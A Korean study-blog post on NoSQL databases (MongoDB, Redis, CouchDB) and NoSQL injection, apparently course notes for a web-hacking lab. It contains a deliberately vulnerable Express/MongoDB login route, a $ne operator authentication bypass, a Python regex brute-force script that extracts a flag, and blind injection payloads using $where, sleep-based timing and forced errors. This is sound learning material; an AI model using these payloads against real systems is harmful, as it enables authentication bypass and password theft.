W5-2 NRDBMS(NoSQL)

hyuun01·2022년 11월 2일
0

WebHacking

목록 보기
9/12

1. RDBMS와 NRDBMS(NoSQL)

  • RDBMS
    : 스키마를 정의하고 해당 규격에 맞는 데이터를 2차원 테이블 형태로 저장
    :복잡
    :저장해야 하는 데이터가 많아지면 용량의 한계
    : 이용자의 입력값을 통해 동적으로 쿼리를 생성해 데이터를 저장 -> SQL Injection 문제
    : SQL을 사용해 데이터를 조회 및 추가 그리고 삭제할 수 있음
    : SQL이라는 정해진 문법을 통해 데이터를 저장 -> 한 가지의 언어로 다양한 DBMS을 사용할 수 있음

  • NRDBMS(NoSQL : Not Only SQL)
    : 키-값을 사용해 데이터를 저장
    : SQL를 사용하지 않고 복잡하지 않은 데이터를 저장해 단순 검색 및 추가 검색 작업을 위해 매우 최적화된 저장 공간
    : 이용자의 입력값을 통해 동적으로 쿼리를 생성해 데이터를 저장 -> SQL Injection 문제
    : Redis, Dynamo, CouchDB, MongoDB 등 다양한 DBMS가 존재하기 때문에 각각의 구조와 사용 문법을 익혀야

2. MongoDB

: JSON 형태인 도큐먼트(Document)를 저장

  • 콜렉션 : 데이터베이스의 하위에 속하는 개념, RDBMS의 테이블과 비슷

1) 특징

  • 스키마를 따로 정의하지 않아 각 콜렉션(Collection)에 대한 정의가 필요하지 않음
  • JSON 형식으로 쿼리를 작성할 수 O
  • _id 필드가 Primary Key 역할을 함
  • 데이터 자료형으로 오브젝트, 배열 타입도 가능
    c.f. SQL은 자료형 문자열, 정수, 날짜, 실수 등 가능
  • 오브젝트 타입 입력값 처리 시 쿼리 연산자 이용 가능
const express = require('express');
const app = express();
app.get('/', function(req,res) {
    console.log('data:', req.query.data);
    console.log('type:', typeof req.query.data);
    res.send('hello world');
});
const server = app.listen(3000, function(){
    console.log('app.listen');
});
http://localhost:3000/?data=1234
data: 1234
type: string

http://localhost:3000/?data[]=1234
data: [ '1234' ]
type: object

http://localhost:3000/?data[]=1234&data[]=5678
data: [ '1234', '5678' ] 
type: object

http://localhost:3000/?data[5678]=1234
data: { '5678': '1234' } 
type: object

http://localhost:3000/?data[5678]=1234&data=0000
data: { '5678': '1234', '0000': true } 
type: object

http://localhost:3000/?data[5678]=1234&data[]=0000
data: { '0': '0000', '5678': '1234' } 
type: object

http://localhost:3000/?data[5678]=1234&data[1111]=0000
data: { '1111': '0000', '5678': '1234' } 
type: object

2) 예시

  • RDBMS
SELECT * FROM inventory WHERE status = "A" and qty < 30;
  • MongoDB
> db.inventory.find( { $and: [ { status: "A" }, { qty: { $lt: 30 } } ] } )

> $ mongo
> db.user.insert({uid: 'admin', upw: 'secretpassword'})
WriteResult({ "nInserted" : 1 })
> db.user.find({uid: 'admin'})
{ "_id" : ObjectId("5e71d395b050a2511caa827d"), "uid" : "admin", "upw" : "secretpassword" }

3) 연산자

비교 연산자

  • $eq : equal
  • $in : in
  • $ne : not equal
  • $nin : not in

논리 연산자

  • $and
  • $not
  • $nor
  • $or

elements

  • $exists : 지정된 필드가 있는 문서를 찾기
  • $type : 지정된 필드가 지정된 유형인 문서를 선택

evaluation

  • $expr : 쿼리 언어 내에서 집계 식을 사용할 수 있음
  • $regex : 지정된 정규식과 일치하는 문서를 선택
  • $text : 지정된 텍스트를 검색

4) 기본 문법

SELECT

SELECT * FROM account;

db.account.find()

SELECT * FROM account WHERE user_id="admin";

db.account.find({user_id: "admin"})

SELECT user_idx FROM account WHERE user_id="admin";

db.account.find({user_id: "admin"}, {user_idx:1, _id:0})  

INSERT

INSERT INTO account(
user_id,
user_pw,
) VALUES ("guest", "guest");

db.account.insert({user_id: "guest", user_pw: "guest"})

DELETE

DELETE FROM account;

db.account.remove()

DELETE FROM account WHERE user_id="guest";

db.account.remove({user_id: "guest"})

UPDATE

UPDATE account SET user_id="guest2" WHERE user_idx=2;

db.account.update({user_idx: 2}, {$set: {user_id="guest2"}})

3. Redis

  • 키-값(Key-Value)의 쌍을 가진 데이터를 저장
  • 메모리 기반의 DBMS(다른 DB와의 차이)
    -> 읽고 쓰기가 다른 DBMS보다 빠름
    -> 임시 데이터 캐싱하는 용도로 주로 사용

1) 명령어

데이터 조회 및 조작 명령어

  • GET : 데이터 조회

    GET key

  • MGET : 여러 데이터를 조회

    MGET key [key ...]

  • SET : 새로운 데이터 추가

    SET key value

  • MSET : 여러 데이터를 추가

    MSET key value [key value ...]

  • DEL : 데이터 삭제

    DEL key [key ...]

  • EXISTS : 데이터 유무 확인

    EXISTS key [key ...]

  • INCR : 데이터 값에 1 더함

    INCR key

  • DECR : 데이터 값에 1 뺌

    DECR key

관리 명령어

  • INFO : DBMS 정보 조회

    INFO [section]

  • CONFIG GET : 설정 조회

    CONFIG GET parameter

  • CONFIG SET : 새로운 설정을 입력

    CONFIG SET parameter value

4. CouchDB

  • MongoDB처럼 JSON 형태인 도큐먼트(Document)를 저장
  • 웹 기반의 DBMS
  • REST API 형식으로 요청을 처리

1) 메소드

  • POST : 새로운 레코드 추가
  • GET : 레코드 조회
  • PUT : 레코드 업데이트
  • DELETE : 레코드 삭제

2) 예시

$ curl -X PUT http://{username}:{password}@localhost:5984/users/guest -d '{"upw":"guest"}'
{"ok":true,"id":"guest","rev":"1-22a458e50cf189b17d50eeb295231896"}
$ curl http://{username}:{password}@localhost:5984/users/guest
{"_id":"guest","_rev":"1-22a458e50cf189b17d50eeb295231896","upw":"guest"}

3) 특수 구성 요소

EX) _ 문자로 시작하는 URL, 필드

SERVER

  • / : 인스턴스에 대한 메타 정보를 반환
  • /_all_dbs : 인스턴스의 데이터벵비스 목록을 반환
  • /_utils : 관리자페이지로 이동

Database

  • /db : 지정된 데이터베이스에 대한 정보를 반환
  • /{db}/_all_docs : 지정된 데이터베이스에 포함된 모든 도큐먼트를 반환
  • /{db}/_find : 지정된 데이터베이스에서 JSON 쿼리에 해당하는 모든 도큐먼트를 반환

5. NoSQL Injection : MongoDB

const express = require('express');
const app = express();
const mongoose = require('mongoose');
const db = mongoose.connection;
mongoose.connect('mongodb://localhost:27017/', { useNewUrlParser: true, useUnifiedTopology: true });
app.get('/query', function(req,res) {
    db.collection('user').find({
        'uid': req.query.uid,
        'upw': req.query.upw
    }).toArray(function(err, result) {
        if (err) throw err;
        res.send(result);
  });
});
const server = app.listen(3000, function(){
    console.log('app.listen');
});
http://localhost:3000/query?uid[$ne]=a&upw[$ne]=a
=> [{"_id":"5ebb81732b75911dbcad8a19","uid":"admin","upw":"secretpassword"}]

upw에 not equal($ne)연산자를 이용하여 upw값에 상관없이 uid가 "admin"인 데이터를 조회할 수 있습니다.

예시

이용자가 전달한 쿼리의 타입을 검사하지 않아서 취약점이 발생
공격을 막기위해 작성된 filter 함수는 정규 표현식으로 쉽게 우회됨

import requests, string
HOST = 'http://localhost'
ALPHANUMERIC = string.digits + string.ascii_letters
SUCCESS = 'admin'
flag = ''
for i in range(32):
    for ch in ALPHANUMERIC:
        response = requests.get(f'{HOST}/login?uid[$regex]=ad.in&upw[$regex]=D.{{{flag}{ch}')
        if response.text == SUCCESS:
            flag += ch
            break
    print(f'FLAG: DH{{{flag}}}')

6. Blind NoSQL Injection : MongoDB

1) 연산자

  • $expr : 쿼리 언어 내에서 집계 식을 사용할 수 있습니다.

  • $regex : 지정된 정규식과 일치하는 문서를 선택합니다.

  • $text : 지정된 텍스트를 검색합니다.

  • $where : JavaScript 표현식을 만족하는 문서와 일치합니다.

2) Blind NoSQL Injection

REGEX

> db.user.find({upw: {$regex: "^a"}})

WHERE : 표현식

> db.user.find({$where:"return 1==1"})
{ "_id" : ObjectId("5ea0110b85d34e079adb3d19"), "uid" : "guest", "upw" : "guest" }

> db.user.find({uid:{$where:"return 1==1"}})
error: {
	"$err" : "Can't canonicalize query: BadValue $where cannot be applied to a field",
	"code" : 17287
}

WHERE : substring

> db.user.find({$where: "this.upw.substring(0,1)=='a'"})

> db.user.find({$where: "this.upw.substring(0,1)=='b'"})

> db.user.find({$where: "this.upw.substring(0,1)=='c'"})
> db.user.find({$where: "this.upw.substring(0,1)=='g'"})
{ "_id" : ObjectId("5ea0110b85d34e079adb3d19"), "uid" : "guest", "upw" : "guest" }

WHERE : Sleep 함수를 통한 Time based Injection

db.user.find({$where: `this.uid=='${req.query.uid}'&&this.upw=='${req.query.upw}'`});
/*
/?uid=guest'&&this.upw.substring(0,1)=='a'&&sleep(5000)&&'1
/?uid=guest'&&this.upw.substring(0,1)=='b'&&sleep(5000)&&'1
/?uid=guest'&&this.upw.substring(0,1)=='c'&&sleep(5000)&&'1
...
/?uid=guest'&&this.upw.substring(0,1)=='g'&&sleep(5000)&&'1
=> 시간 지연 발생.
*/

WHERE : Error 이용

> db.user.find({$where: "this.uid=='guest'&&this.upw.substring(0,1)=='g'&&asdf&&'1'&&this.upw=='${upw}'"});
error: {
	"$err" : "ReferenceError: asdf is not defined near '&&this.upw=='${upw}'' ",
	"code" : 16722
}
// this.upw.substring(0,1)=='g' 값이 참이기 때문에 asdf 코드를 실행하다 에러 발생
> db.user.find({$where: "this.uid=='guest'&&this.upw.substring(0,1)=='a'&&asdf&&'1'&&this.upw=='${upw}'"});
// this.upw.substring(0,1)=='a' 값이 거짓이기 때문에 뒤에 코드가 작동하지 않음

0개의 댓글